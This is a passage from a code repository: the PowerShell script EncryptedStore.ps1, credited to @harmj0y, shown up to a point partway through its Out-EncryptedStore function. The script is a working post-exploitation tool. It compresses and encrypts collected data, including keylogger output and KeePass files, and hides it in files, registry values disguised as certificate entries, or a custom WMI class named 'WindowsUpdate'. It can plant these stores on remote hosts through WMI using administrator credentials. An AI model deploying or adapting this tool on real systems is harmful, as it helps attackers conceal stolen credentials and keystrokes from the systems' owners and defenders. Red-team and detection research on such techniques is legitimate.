├── EncryptedStore.ps1
├── EncryptedStore.py
├── Find-KeePassConfig.ps1
└── README.md
/EncryptedStore.ps1:
--------------------------------------------------------------------------------
1 | #requires -version 2
2 |
3 | $Null = [Reflection.Assembly]::LoadWithPartialName('System.Security')
4 | $Null = [Reflection.Assembly]::LoadWithPartialName('System.Core')
5 |
6 |
7 | function Write-EncryptedStore {
8 | <#
9 | .SYNOPSIS
10 |
11 | Encrypts data in the 'EncryptedStore' format and stores it in the specified -StorePath file.
12 |
13 | Invoke-WMIMethod parameters and approach adapted from @mattifestation's Invoke-WmiCommand.ps1.
14 |
15 | Author: @harmj0y
16 | License: BSD 3-Clause
17 | Required Dependencies: None
18 | Optional Dependencies: None
19 |
20 | .DESCRIPTION
21 |
22 | Wraps Out-EncryptedStore to encypt input data, and stores it to the specified -StorePath location.
23 |
24 | .PARAMETER Data
25 |
26 | The path of a file to encrypt and add to the store, passable on the pipeline.
27 |
28 | .PARAMETER StorePath
29 |
30 | The path of the encrypted store to stash files. Can be on the filesystem ("${Env:Temp}\debug.bin"),
31 | registry (HKLM:\SOFTWARE\something\something\key\valuename), or WMI (ROOT\Software\namespace:ClassName).
32 | If registry or WMI storage is selected, the registry key/custom WMI class will be implicitly created
33 | on initial run if it does not already exist.
34 |
35 | If you want to access a store on a remote system, use -ComputerName/-Credential.
36 |
37 | .PARAMETER Key
38 |
39 | The key used to encrypt data for the store. A 32 character string is interpretered as an AES key,
40 | a string of the form '^.*.*$' is
41 | interpreted as an RSA public key, and anything else is fed into a MD5 hash function to produce a
42 | 32 character password for AES encryption.
43 |
44 | .PARAMETER SecureKey
45 |
46 | A [System.Security.SecureString] used for the encryption key, following the same parsing logic from
47 | the key parameter description above.
48 |
49 | .PARAMETER DataTag
50 |
51 | Optional flag to tag data with if it's not a file.
52 |
53 | .PARAMETER StoreSizeLimit
54 |
55 | Size limit for the encrypted datastore. Default to 1GB.
56 |
57 | .PARAMETER ComputerName
58 |
59 | Access the -StorePath on the specified computers. The default is the local computer.
60 |
61 | Type the NetBIOS name, an IP address, or a fully qualified domain
62 | name of one or more computers. To specify the local computer, type
63 | the computer name, a dot (.), or "localhost".
64 |
65 | This parameter does not rely on Windows PowerShell remoting. You can
66 | use the ComputerName parameter even if your computer is not
67 | configured to run remote commands.
68 |
69 | .PARAMETER Credential
70 |
71 | Specifies a user account that has permission to perform this action.
72 |
73 | The default is the current user. Type a user name, such as "User01",
74 | "Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
75 | object, such as an object that is returned by the Get-Credential
76 | cmdlet. When you type a user name, you will be prompted for a
77 | password.
78 |
79 | .PARAMETER Impersonation
80 |
81 | Specifies the impersonation level to use. Valid values are:
82 |
83 | 0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
84 | 1: Anonymous (Hides the credentials of the caller.)
85 | 2: Identify (Allows objects to query the credentials of the caller.)
86 | 3: Impersonate (Allows objects to use the credentials of the caller.)
87 | 4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
88 |
89 | .PARAMETER Authentication
90 |
91 | Specifies the authentication level to be used with the WMI connection. Valid values are:
92 |
93 | -1: Unchanged
94 | 0: Default
95 | 1: None (No authentication in performed.)
96 | 2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
97 | 3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
98 | 4: Packet (Authentication is performed on all the data that is received from the client.)
99 | 5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
100 | 6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
101 |
102 | .PARAMETER EnableAllPrivileges
103 |
104 | Enables all the privileges of the current user before the command
105 | makes the WMI call.
106 |
107 | .PARAMETER Authority
108 |
109 | Specifies the authority to use to authenticate the WMI connection.
110 | You can specify standard NTLM or Kerberos authentication. To use
111 | NTLM, set the authority setting to ntlmdomain:, where
112 | identifies a valid NTLM domain name. To use Kerberos,
113 | specify kerberos:. You cannot include the
114 | authority setting when you connect to the local computer.
115 |
116 | .EXAMPLE
117 |
118 | PS C:\> Write-EncryptedStore -Data C:\Folder\secret.txt -StorePath C:\Temp\debug.bin -Key 'Password123!'
119 |
120 | Compresses and encrypts C:\Folder\secret.txt with 'Password123!' and appends
121 | to the encrypted store at C:\Temp\debug.bin
122 |
123 | .EXAMPLE
124 |
125 | PS C:\> 'secret.txt','secret2.txt' | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!'
126 |
127 | Compresses and encrypts secret.txt and secret2.txt with 'Password123!' and appends
128 | to the encrypted store at C:\Temp\debug.bin
129 |
130 | .EXAMPLE
131 |
132 | PS C:\> "keystrokes" | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!' -DataTag 'keylog'
133 |
134 | Compresses and encrypts the data passed on the pipeline with 'Password123!' and appends
135 | to the encrypted store at C:\Temp\debug.bin with a filepath compromised of a timestamp
136 | and the 'keylog' datatag (i.e. 'keylog3.12.2016_12.10.15.txt').
137 |
138 | .EXAMPLE
139 |
140 | PS C:\> Find-KeePassConfig | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!'
141 |
142 | Finds all KeePass related files using Find-KeePassConfig and stores them an encrypted store
143 | at C:\Temp\debug.bin using the key 'Password123!'.
144 |
145 | .EXAMPLE
146 |
147 | PS C:\> $Key = New-RSAKeyPair
148 | PS C:\> $StorePath = "HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCertificate"
149 | PS C:\> ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $Key.Pub
150 | PS C:\> Read-EncryptedStore -StorePath $StorePath -Key $Key.Priv -List
151 |
152 | Generates a new RSA public/private key pair with New-RSAKeyPair, uses the public
153 | key to encrypt a file from disk, and stores the result in the specified registry location.
154 | The call to Read-EncryptedStore extracts the stored data using the private key and
155 | displays the files in the container.
156 |
157 | .EXAMPLE
158 |
159 | PS C:\> $StorePath = "ROOT\Software:WindowsUpdate"
160 | PS C:\> $SecurePassword = 'Password12345' | ConvertTo-SecureString -AsPlainText -Force
161 | PS C:\> ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -SecureKey $SecurePassword -Verbose
162 | VERBOSE: EncryptionKey not 32 Bytes, using MD5 of key specified as the AESencryption key.
163 | VERBOSE: RawDataStore length: 613
164 | VERBOSE: Creating namespace 'ROOT\Software'
165 | VERBOSE: Creating class 'WindowsUpdate' in namespace 'ROOT\Software'
166 | VERBOSE: Setting 'Content' value of ROOT\Software:WindowsUpdate
167 |
168 | Stores a password in a secure string, and uses this to encrypt the specified document. The store is
169 | then written to a custom WMI class, which is first created as it doesn't exist.
170 |
171 | .EXAMPLE
172 |
173 | PS C:\> $ComputerName = 'PRIMARY.testlab.local'
174 | PS C:\> $Credential = Get-Credential 'TESTLAB\administrator'
175 | PS C:\> $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert'
176 | PS C:\> ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!'
177 |
178 | Take the local "secret.txt" file, compress/encrypt it, and store it in the specified registry
179 | key on the remote system using the specified credentials.
180 |
181 | .LINK
182 |
183 | https://github.com/PowerShellMafia/PowerSploit/blob/c2a70924e16cd80a1c07d9de82db893b32a4aba9/CodeExecution/Invoke-WmiCommand.ps1
184 | #>
185 |
186 | [CmdletBinding(DefaultParameterSetName = 'Key')]
187 | param(
188 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
189 | [Object[]]
190 | $Data,
191 |
192 | [Parameter(Position = 1)]
193 | [ValidatePattern('.*\\.*')]
194 | [String]
195 | $StorePath = "${Env:Temp}\debug.bin",
196 |
197 | [Parameter(Position = 2, Mandatory = $True, ParameterSetName = 'Key')]
198 | [ValidateNotNullOrEmpty()]
199 | [String]
200 | $Key,
201 |
202 | [Parameter(Position = 2, Mandatory = $True, ParameterSetName = 'SecureKey')]
203 | [ValidateNotNullOrEmpty()]
204 | [System.Security.SecureString]
205 | $SecureKey,
206 |
207 | [Parameter(Position = 4)]
208 | [ValidateNotNullOrEmpty()]
209 | [String]
210 | $DataTag,
211 |
212 | [Parameter(Position = 5)]
213 | [ValidateNotNullOrEmpty()]
214 | [Int]
215 | $StoreSizeLimit = 100MB,
216 |
217 | [Alias('Cn')]
218 | [String[]]
219 | [ValidateNotNullOrEmpty()]
220 | $ComputerName = 'localhost',
221 |
222 | [Management.Automation.PSCredential]
223 | [Management.Automation.CredentialAttribute()]
224 | $Credential = [Management.Automation.PSCredential]::Empty,
225 |
226 | [Management.ImpersonationLevel]
227 | $Impersonation,
228 |
229 | [System.Management.AuthenticationLevel]
230 | $Authentication,
231 |
232 | [Switch]
233 | $EnableAllPrivileges,
234 |
235 | [String]
236 | $Authority
237 | )
238 |
239 | BEGIN {
240 | $WmiMethodArgs = @{}
241 | $WMIConnectionOptions = New-Object Management.ConnectionOptions
242 |
243 | # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
244 | if ($PSBoundParameters['Credential']) {
245 | $WmiMethodArgs['Credential'] = $Credential
246 | $WMIConnectionOptions.Username = $Credential.UserName
247 | $WMIConnectionOptions.SecurePassword = $Credential.Password
248 | }
249 | if ($PSBoundParameters['Impersonation']) {
250 | $WmiMethodArgs['Impersonation'] = $Impersonation
251 | $WMIConnectionOptions.Impersonation = $Impersonation
252 | }
253 | if ($PSBoundParameters['Authentication']) {
254 | $WmiMethodArgs['Authentication'] = $Authentication
255 | $WMIConnectionOptions.Authentication = $Authentication
256 | }
257 | if ($PSBoundParameters['EnableAllPrivileges']) {
258 | $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges
259 | $WMIConnectionOptions.EnableAllPrivileges = $EnableAllPrivileges
260 | }
261 | if ($PSBoundParameters['Authority']) {
262 | $WmiMethodArgs['Authority'] = $Authority
263 | $WMIConnectionOptions.Authority = $Authority
264 | }
265 |
266 | if ($PSBoundParameters['SecureKey']) {
267 | $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureKey)
268 | $EncryptionKey = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
269 | }
270 | else {
271 | $EncryptionKey = $Key
272 | }
273 | }
274 |
275 | PROCESS {
276 |
277 | foreach ($Computer in $ComputerName) {
278 |
279 | $EncStoreArguments = @{
280 | 'Data' = $Data
281 | 'Key' = $EncryptionKey
282 | 'DataTag' = $DataTag
283 | }
284 |
285 | # get the encrypted store bytes
286 | $RawDataStore = Out-EncryptedStore @EncStoreArguments
287 |
288 | Write-Verbose "[$Computer] RawDataStore length: $($RawDataStore.Length)"
289 | Write-Verbose "[$Computer] Writing to encrypted store at: '$StorePath'"
290 |
291 | if(($StorePath -match '^[A-Z]:\\') -or ($StorePath -match '^\\\\[A-Z0-9]+\\[A-Z0-9]+')) {
292 | # file on a disk, local or remote, or \\UNC path
293 |
294 | if($Computer -ne 'localhost') {
295 | # remote -ComputerName specification
296 | $Net = New-Object -ComObject WScript.Network
297 |
298 | $PathParts = $StorePath.Replace(':', '$').Split('\')
299 | $UNCPath = "\\$ComputerName\$($PathParts[0..($PathParts.Length-2)] -join '\')"
300 | $FileName = $PathParts[-1]
301 |
302 | if($PSBoundParameters['Credential']) {
303 | try {
304 | # map a temporary network drive with the credentials supplied
305 | # this is because New-PSDrive in PowerShell v2 doesn't support alternate credentials :(
306 | Write-Verbose "[$Computer] Mapping drive Z: to '$UNCPath'"
307 | $Net.MapNetworkDrive("Z:", $UNCPath, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
308 | $EncStorePath = "Z:\$FileName"
309 | }
310 | catch {
311 | throw "[$Computer] Error mapping path '$StorePath' : $_"
312 | }
313 | }
314 | else {
315 | $EncStorePath = "$UNCPath\$FileName"
316 | }
317 | }
318 | else {
319 | # plain old localhost
320 | $EncStorePath = $StorePath
321 | }
322 |
323 | if(Test-Path -Path $EncStorePath) {
324 | if ( (Get-Item -Path $EncStorePath).Length -gt $StoreSizeLimit) {
325 | throw "[$Computer] Store size exceeded, exiting"
326 | }
327 | }
328 |
329 | try {
330 | Write-Verbose "[$Computer] Writing $($RawDataStore.Count) encrypted bytes to $EncStorePath"
331 | Add-Content -Encoding Byte -Path $EncStorePath -Value $RawDataStore -ErrorAction Stop
332 | }
333 | catch {
334 | Write-Warning "[$Computer] Error writing to '$EncStorePath' : $_"
335 | }
336 |
337 | if($Computer -ne 'localhost' -and ($PSBoundParameters['Credential'])) {
338 | try {
339 | Write-Verbose "[$Computer] Unmapping drive Z:\"
340 | $Net = New-Object -ComObject WScript.Network
341 | $Null = $Net.RemoveNetworkDrive('Z:', $True)
342 | }
343 | catch {
344 | Write-Verbose "[$Computer] Error unmapping drive Z:\ : $_"
345 | }
346 | }
347 | }
348 | elseif($StorePath -match '^(HKCR|HKCU|HKLM|HKU|HKCC):\\') {
349 | # registry storage
350 |
351 | $RegistryParts = $StorePath.Split('\')
352 | $KeyName = ($RegistryParts[0..($RegistryParts.Length - 2)]) -join '\'
353 | $ValueName = $RegistryParts[-1]
354 |
355 | if($Computer -ne 'localhost') {
356 | # remote registry storage
357 | # logic heavily adopted from @mattifestation's Invoke-WmiCommand.ps1 logic
358 |
359 | $WmiMethodArgs['ComputerName'] = $Computer
360 |
361 | $RegistryKeyParts = $KeyName.Split('\')
362 | $RegistryKeyPath = $RegistryKeyParts[1..($RegistryKeyParts.Length)] -join '\'
363 |
364 | switch ($RegistryKeyParts[0]) {
365 | 'HKLM:' { $Hive = 2147483650 }
366 | 'HKCU:' { $Hive = 2147483649 }
367 | 'HKCR:' { $Hive = 2147483648 }
368 | 'HKU:' { $Hive = 2147483651 }
369 | 'HKCC:' { $Hive = 2147483653 }
370 | }
371 |
372 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList @($Hive, $RegistryKeyPath)
373 |
374 | if ($Result.ReturnValue -ne 0) {
375 | throw "[$Computer] Unable to create the following registry key: $KeyName"
376 | }
377 |
378 | # get any existing registry data
379 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetBinaryValue' -ArgumentList @($Hive, $RegistryKeyPath, $ValueName)
380 |
381 | Write-Verbose "[$Computer] Storing the encrypted store into the following registry value: $StorePath"
382 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetBinaryValue' -ArgumentList @($Hive, $RegistryKeyPath, $ValueName, $($Result.uValue + $RawDataStore))
383 |
384 | if ($Result.ReturnValue -ne 0) {
385 | throw "[$Computer] Unable to store encrypted store in the following registry value: $StorePath"
386 | }
387 | }
388 | else {
389 | # localhost registry storage
390 | if(-not (Test-Path -Path $KeyName)) {
391 | try {
392 | Write-Verbose "[$Computer] Creating registry key '$KeyName'"
393 | $Null = New-Item -Path $KeyName -Force -ErrorAction Stop
394 | }
395 | catch {
396 | throw "[$Computer] Error creating '$KeyName' : $_"
397 | }
398 | }
399 |
400 | try {
401 | $Value = (Get-ItemProperty -Path $KeyName -Name $ValueName -ErrorAction Stop).$ValueName
402 |
403 | if ( $Value.Length -gt $StoreSizeLimit) {
404 | throw "[$Computer] Store size exceeded, exiting"
405 | }
406 |
407 | # "append" the new data to the registry key
408 | $Null = Set-ItemProperty -Path $KeyName -Name $ValueName -Value $($Value + $RawDataStore) -ErrorAction Stop
409 | }
410 | catch {
411 | Write-Verbose "[$Computer] Value $ValueName doesn't exist!"
412 | $Null = New-ItemProperty -Path $KeyName -Name $ValueName -PropertyType Binary -Value $RawDataStore
413 | }
414 | }
415 | }
416 | elseif($StorePath -match '^[A-Z0-9]*\\.*:[A-Z0-9]+$') {
417 | # WMI storage
418 |
419 | # adapted from Sw4mpf0x's PowerLurk project (https://github.com/Sw4mpf0x/PowerLurk)
420 | # create the new custom WMI namespace
421 | $WMIParts = $StorePath.Split(':')
422 | $NamespaceName = $WMIParts[0]
423 | $ClassName = $WMIParts[-1]
424 | $NamespaceParts = $NamespaceName.Split('\')
425 |
426 | if($Computer -ne 'localhost') {
427 | $WmiMethodArgs['ComputerName'] = $Computer
428 |
429 | try {
430 | Write-Verbose "NamespaceName: $NamespaceName"
431 | Write-Verbose "ClassName: $ClassName"
432 | $WmiClass = Get-WmiObject @WmiMethodArgs -Namespace $NamespaceName -List -ErrorAction Stop | Where-Object {$_.Name -eq $ClassName}
433 | if(-not $WmiClass) {
434 | throw [System.Management.Automation.RuntimeException]'Not found'
435 | }
436 | }
437 | catch {
438 | if($_.Exception.GetBaseException().ErrorCode -eq 'InvalidNamespace') {
439 | Write-Verbose "[$Computer] Creating namespace '$NamespaceName'"
440 |
441 | $Namespace = Get-WmiObject @WmiMethodArgs -Class 'meta_class' | Where-Object {$_.Name -eq '__NAMESPACE'}
442 | $CustomNamespace = $Namespace.CreateInstance()
443 | $CustomNamespace.Name = $NamespaceParts[-1]
444 | $Null = $CustomNamespace.Put()
445 |
446 | Write-Verbose "[$Computer] Creating class '$ClassName' in namespace '$NamespaceName'"
447 |
448 | $MagementScope = New-Object Management.ManagementScope @("\\$Computer\$NamespaceName", $WMIConnectionOptions)
449 | $MagementScope.Connect()
450 |
451 | $CustomClass = New-Object Management.ManagementClass($MagementScope, $NamespaceName, $Null)
452 | $CustomClass.Name = $ClassName
453 | $CustomClass.Properties.Add('Content', [System.Management.CimType]::UInt8, $True)
454 | $Null = $CustomClass.Put()
455 |
456 | $WmiClass = $CustomClass
457 | }
458 | elseif(($_.Exception.GetBaseException().ErrorCode -eq 'NotFound') -or ($_.Exception.GetBaseException().ErrorCode -eq 'InvalidClass') -or ($_.Exception.Message -eq 'Not Found')) {
459 | Write-Verbose "[$Computer] Creating class '$ClassName' in namespace '$NamespaceName'"
460 |
461 | $MagementScope = New-Object Management.ManagementScope @("\\$Computer\$NamespaceName", $WMIConnectionOptions)
462 | $MagementScope.Connect()
463 |
464 | $CustomClass = New-Object Management.ManagementClass($MagementScope, $NamespaceName, $Null)
465 | $CustomClass.Name = $ClassName
466 | $CustomClass.Properties.Add('Content', [System.Management.CimType]::UInt8, $True)
467 | $Null = $CustomClass.Put()
468 |
469 | $WmiClass = $CustomClass
470 | }
471 | else {
472 | throw "[$Computer] Unidentified error : $_"
473 | }
474 | }
475 | }
476 | else {
477 | # local WMI class specification
478 | try {
479 | $WmiClass = [WmiClass] $StorePath
480 | }
481 | catch {
482 | if($_.Exception.GetBaseException().ErrorCode -eq 'InvalidNamespace') {
483 | Write-Verbose "[$Computer] Creating namespace '$NamespaceName'"
484 | $Namespace = [WMIClass] "$($NamespaceParts[0..($NamespaceParts.Length - 2)] -join '\'):__namespace"
485 | $CustomNamespace = $Namespace.CreateInstance()
486 | $CustomNamespace.Name = $NamespaceParts[-1]
487 | $Null = $CustomNamespace.Put()
488 |
489 | Write-Verbose "[$Computer] Creating class '$ClassName' in namespace '$NamespaceName'"
490 | $CustomClass = New-Object Management.ManagementClass($NamespaceName, $Null, $Null)
491 | $CustomClass.Name = $ClassName
492 | $CustomClass.Properties.Add('Content', [System.Management.CimType]::UInt8, $True)
493 | $Null = $CustomClass.Put()
494 |
495 | $WmiClass = $CustomClass
496 | }
497 | elseif(($_.Exception.GetBaseException().ErrorCode -eq 'NotFound') -or ($_.Exception.GetBaseException().ErrorCode -eq 'InvalidClass')) {
498 | Write-Verbose "[$Computer] Creating class '$ClassName' in namespace '$NamespaceName'"
499 |
500 | $CustomClass = New-Object Management.ManagementClass($NamespaceName, $Null, $Null)
501 | $CustomClass.Name = $ClassName
502 | $CustomClass.Properties.Add('Content', [System.Management.CimType]::UInt8, $True)
503 | $Null = $CustomClass.Put()
504 |
505 | $WmiClass = $CustomClass
506 | }
507 | else {
508 | throw "[$Computer] Unidentified error : $_"
509 | }
510 | }
511 | }
512 |
513 | if($WmiClass) {
514 | Write-Verbose "[$Computer] Setting 'Content' value of $StorePath"
515 | try {
516 | $WmiClass.SetPropertyValue('Content', $($WmiClass.GetPropertyValue('Content') + $RawDataStore))
517 | $Null = $WmiClass.Put()
518 | }
519 | catch {
520 | throw "[$Computer] Error setting 'Content' at $StorePath : $_"
521 | }
522 | }
523 | }
524 | else {
525 | throw "[$Computer] Invalid StorePath format : $StorePath"
526 | }
527 | }
528 | }
529 | }
530 |
531 |
532 | function Out-EncryptedStore {
533 | <#
534 | .SYNOPSIS
535 |
536 | Encrypts data in the 'EncryptedStore' format and outputs the raw encrypted bytes to the pipeline.
537 |
538 | Author: @harmj0y
539 | License: BSD 3-Clause
540 | Required Dependencies: None
541 | Optional Dependencies: None
542 |
543 | .DESCRIPTION
544 |
545 | Compresses and encrypts the data passed by $Data with the
546 | supplied $Key and writes the data to the specified encrypted $StorePath.
547 | If the passed data is a filename, the file is encrypted along with
548 | the original path. Otherwse, the passed data itself is encrypted along
549 | with a timestamp to be used as the extracted file format.
550 | If you to tag non-file data, use -DataTag.
551 |
552 | Multiple files/data sets can be stored in the same $StorePath (see below).
553 | Use Read-EncryptedStore to extract files from a specified store.
554 |
555 | Store structure:
556 |
557 | [4 bytes representing size of next block to decrypt]
558 | [0] (indicating straight AES)
559 | [16 byte IV]
560 | [AES-CBC encrypted file block]
561 | [compressed stream]
562 | [260 characters/bytes indicating original path]
563 | [file contents]
564 | ...
565 |
566 | [4 bytes representing size of next block to decrypt]
567 | [1] (indicating straight RSA+AES)
568 | [128 bytes random AES key encrypted with the the RSA public key]
569 | [16 byte IV]
570 | [AES-CBC encrypted file block]
571 | [compressed stream]
572 | [260 characters/bytes indicating original path]
573 | [file contents]
574 | ...
575 |
576 | To encrypt a file for ENCSTORE.bin:
577 |
578 | -Read raw file contents
579 | -Pad original full file PATH to 260 Bytes
580 | -Compress [PATH + file] using IO.Compression.DeflateStream
581 | -If using RSA+AES, generate a random AES key and encrypt using the RSA public key
582 | -Generate random 16 Byte IV
583 | -Encrypt compressed stream with AES-CBC using the predefined key and generated IV
584 | -Calculate length of encrypted block + IV
585 | -append 4 Byte representation of length to ENCSTORE.bin
586 | -append 0 byte if straight AES used, 1 if RSA+AES used
587 | -optionally append 128 bytes of RSA encrypted random AES key if RSA+AES scheme used
588 | -append IV to ENCSTORE.bin
589 | -append encrypted file to ENCSTORE.bin
590 |
591 | .PARAMETER Data
592 |
593 | The path of a file to encrypt and add to the store, passable on the pipeline.
594 |
595 | .PARAMETER Key
596 |
597 | The key used to encrypt data for the store. A 32 character string is interpretered as an AES key,
598 | a string of the form '^.*.*$' is
599 | interpreted as an RSA public key, and anything else is fed into a MD5 hash function to produce a
600 | 32 character password for AES encryption.
601 |
602 | .PARAMETER SecureKey
603 |
604 | A [System.Security.SecureString] used for the encryption key, following the same parsing logic from
605 | the key parameter description above.
606 |
607 | .PARAMETER DataTag
608 |
609 | Optional string to tag data with if it's not a file.
610 |
611 | .PARAMETER Base64Encode
612 |
613 | Switch. Output the encrypted store bytes as a Base64 string.
614 |
615 | .EXAMPLE
616 |
617 | PS C:\> Out-EncryptedStore -Data C:\Folder\secret.txt -Key 'Password123!'
618 |
619 | Compresses and encrypts C:\Folder\secret.txt with 'Password123!' and outputs the raw encrypted
620 | bytes to the pipeline.
621 |
622 | .EXAMPLE
623 |
624 | PS C:\> $Key = New-RSAKeyPair
625 | PS C:\> 'secret.txt','secret2.txt' | Out-EncryptedStore -Key $Key.Pub
626 |
627 | Compresses and encrypts secret.txt and secret2.txt with 'Password123!' and and outputs the
628 | raw bytes encrypted with the specified RSA public key to the pipeline.
629 |
630 | .EXAMPLE
631 |
632 | PS C:\> "keystrokes" | Out-EncryptedStore -Key 'Password123!' -DataTag 'keylog'
633 |
634 | Compresses and encrypts the data passed on the pipeline with 'Password123!' and outputs the raw
635 | bytes to the pipeline with a timestamp and the 'keylog' datatag (i.e. 'keylog3.12.2016_12.10.15.txt').
636 |
637 | .EXAMPLE
638 |
639 | PS C:\> Find-KeePassConfig | Out-EncryptedStore -Key 'Password123!'
640 |
641 | Finds all KeePass related files using Find-KeePassConfig and outputs the raw bytes to the pipeline.
642 |
643 | .EXAMPLE
644 |
645 | PS C:\> Find-KeePassConfig | Out-EncryptedStore -Key 'Password123!' -Base64Encode
646 |
647 | Finds all KeePass related files using Find-KeePassConfig and outputs the raw bytes to the pipeline
648 | as a base64-encoded string.
649 | #>
650 |
651 | [CmdletBinding()]
652 | param(
653 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
654 | [Object[]]
655 | $Data,
656 |
657 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'Key')]
658 | [ValidateNotNullOrEmpty()]
659 | [String]
660 | $Key,
661 |
662 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'SecureKey')]
663 | [ValidateNotNullOrEmpty()]
664 | [System.Security.SecureString]
665 | $SecureKey,
666 |
667 | [Parameter(Position = 2)]
668 | [String]
669 | $DataTag,
670 |
671 | [Parameter(Position = 3)]
672 | [Switch]
673 | $Base64Encode
674 | )
675 |
676 | BEGIN {
677 | $Encoding = [System.Text.Encoding]::ASCII
678 | [Byte[]]$AllEncryptedBytes = @()
679 |
680 | if ($PSBoundParameters['SecureKey']) {
681 | $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureKey)
682 | $EncryptionKey = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
683 | }
684 | else {
685 | $EncryptionKey = $Key
686 | }
687 |
688 | if($EncryptionKey -match '^.*.*$') {
689 | Write-Verbose "Using RSA public key for encryption."
690 | $EncryptionType = 'RSA'
691 | }
692 | elseif($EncryptionKey.Length -eq 32) {
693 | Write-Verbose "Using 32 byte AES key for encryption."
694 | $EncryptionType = 'AES'
695 | }
696 | else {
697 | Write-Verbose "EncryptionKey not 32 Bytes, using MD5 of key specified as the AES encryption key."
698 |
699 | # transform the encryption key to a MD5 hash if the key is not 32 Bytes
700 | $StringBuilder = New-Object System.Text.StringBuilder
701 | [System.Security.Cryptography.HashAlgorithm]::Create('MD5').ComputeHash($Encoding.GetBytes($EncryptionKey)) | ForEach-Object { [Void]$StringBuilder.Append($_.ToString("x2")) }
702 | $EncryptionKey = $StringBuilder.ToString()
703 | $EncryptionType = 'AES'
704 | }
705 |
706 | function local:Out-StoreEncryptedByte {
707 | [CmdletBinding()]
708 | Param (
709 | [Parameter(Mandatory=$True)]
710 | [Byte[]]
711 | $FullPathBytes,
712 |
713 | [Parameter(Mandatory=$True)]
714 | [Byte[]]
715 | $DataBytes,
716 |
717 | [Parameter(Mandatory=$True)]
718 | [String]
719 | $EncryptionKey,
720 |
721 | [Parameter(Mandatory=$True)]
722 | [ValidateSet('AES', 'RSA')]
723 | [String]
724 | $EncryptionType
725 | )
726 |
727 | try {
728 | $Encoding = [System.Text.Encoding]::ASCII
729 |
730 | # build the compressed(PATH + file) stream
731 | $MemoryStream = New-Object System.IO.MemoryStream
732 | $CompressionStream = New-Object System.IO.Compression.DeflateStream($MemoryStream, [System.IO.Compression.CompressionMode]::Compress)
733 | $StreamWriter = New-Object System.IO.StreamWriter($CompressionStream)
734 | $StreamWriter.Write([Char[]]($FullPathBytes + $DataBytes))
735 | $StreamWriter.Close()
736 |
737 | # generate the random IV bytes
738 | $RNG = [Security.Cryptography.RNGCryptoServiceProvider]::Create()
739 | $RandomIVBytes = New-Object Byte[](16)
740 | $RNG.GetBytes($RandomIVBytes)
741 |
742 | $StreamBytes = $MemoryStream.ToArray()
743 |
744 | if($EncryptionType -eq 'AES') {
745 | # set up paramters for the AES + CBC encryption w/ random IV
746 | $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
747 | $AES.Mode = 'CBC'
748 | $AES.Key = $Encoding.GetBytes($EncryptionKey)
749 | $AES.IV = $RandomIVBytes
750 |
751 | # '0' indicates straight AES
752 | [Byte[]]$EncryptedBlock = $RandomIVBytes + $AES.CreateEncryptor().TransformFinalBlock($StreamBytes, 0, $StreamBytes.Length)
753 |
754 | [BitConverter]::GetBytes($EncryptedBlock.Length)
755 | [Byte]0
756 | $EncryptedBlock
757 | }
758 | else {
759 | # generate a random AES key
760 | $RandomAESKeyBytes = New-Object Byte[](32)
761 | $RNG.GetBytes($RandomAESKeyBytes)
762 |
763 | # build the RSA public key to encrypt the random AES key
764 | $CSP = New-Object System.Security.Cryptography.CspParameters
765 | $CSP.Flags = $CSP.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore
766 | $RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList @(1024,$CSP)
767 | $RSA.FromXmlString($EncryptionKey)
768 |
769 | # encrypt the randomized AES key using RSA
770 | $EncAESKeyBytes = $RSA.Encrypt($RandomAESKeyBytes, $False)
771 |
772 | # set up paramters for the AES + CBC encryption w/ random IV
773 | $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
774 | $AES.Mode = 'CBC'
775 | $AES.Key = $RandomAESKeyBytes
776 | $AES.IV = $RandomIVBytes
777 |
778 | $EncBytes = $AES.CreateEncryptor().TransformFinalBlock($StreamBytes, 0, $StreamBytes.Length)
779 |
780 | # '1' indicates RSA + AES
781 | # [Byte[]]$EncryptedBlock = $EncAESKeyBytes + $RandomIVBytes + $AES.CreateEncryptor().TransformFinalBlock($StreamBytes, 0, $StreamBytes.Length)
782 | [Byte[]]$EncryptedBlock = $EncAESKeyBytes + $RandomIVBytes + $EncBytes
783 |
784 | [BitConverter]::GetBytes($EncryptedBlock.Length)
785 | [Byte]1
786 | $EncryptedBlock
787 | }
788 | }
789 | catch {
790 | Write-Error "Error in encryption : $_"
791 | }
792 | }
793 | }
794 |
795 | PROCESS {
796 |
